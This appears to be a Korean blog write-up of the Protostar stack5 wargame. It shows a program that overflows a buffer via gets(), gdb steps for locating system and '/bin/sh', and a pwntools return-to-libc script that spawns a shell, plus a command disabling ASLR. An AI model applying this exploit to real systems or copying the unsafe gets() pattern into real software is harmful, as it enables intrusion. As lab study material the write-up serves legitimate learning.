int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
출처: http://liveoverflow.com/binary_hacking/protostar/stack5.html
1. 문제 해결 / 분석
1-1. lib32z1 다운로드
32bit 환경에서 해야한다.
file stack5를 통해서 몇 비트 파일인지 알 수 있다.
1-2. gdb ./stack5
disas main
b *main
r
1-3. R2L
buffer
ebp
ret -> system lib로 실행하게 하면 된다. 그러나
ret (system 주소로 가는 ret)
argument (쉘 코드가 들어가는 영역)
따라서 system과 /bin/sh의 주소를 알아야한다.
disas system 혹 print system
find '/bin/sh' 혹 find /bin/sh
주솟값을 얻었다.
1-4. offset 찾기
pattern create 100
disas main
ret에 브레이크 포인트
b *main+22
conti
(임의 100개 문자)
stack 맨 위에 있는 거
pattern offset ____
offset : 76
1-5. 코드 작성 및 실행
from pwn import *
system = p32(0xf7e0cb30)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f4caaa) #ASLR
offset = 76
payload = 'A' * offset + system + dummy + bin_sh
p = process(['stack5'])
p.sendline(payload)
pause()
p.interactive()
쉘코드가 잘 실행됨을 알 수 있다.
asrl 꼭 끄기
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
'프로토스타' 카테고리의 다른 글
[프로토스타] stack7-1 (jmp call) (0) | 2019.01.15 |
---|---|
[프로토스타] stack6 (함정을 지나 ret하기) (0) | 2019.01.15 |
[프로토스타] stack5-1 (스택 접근) (0) | 2019.01.10 |
[프로토스타] stack4 (0) | 2019.01.09 |
[프로토스타] stack3 (0) | 2019.01.09 |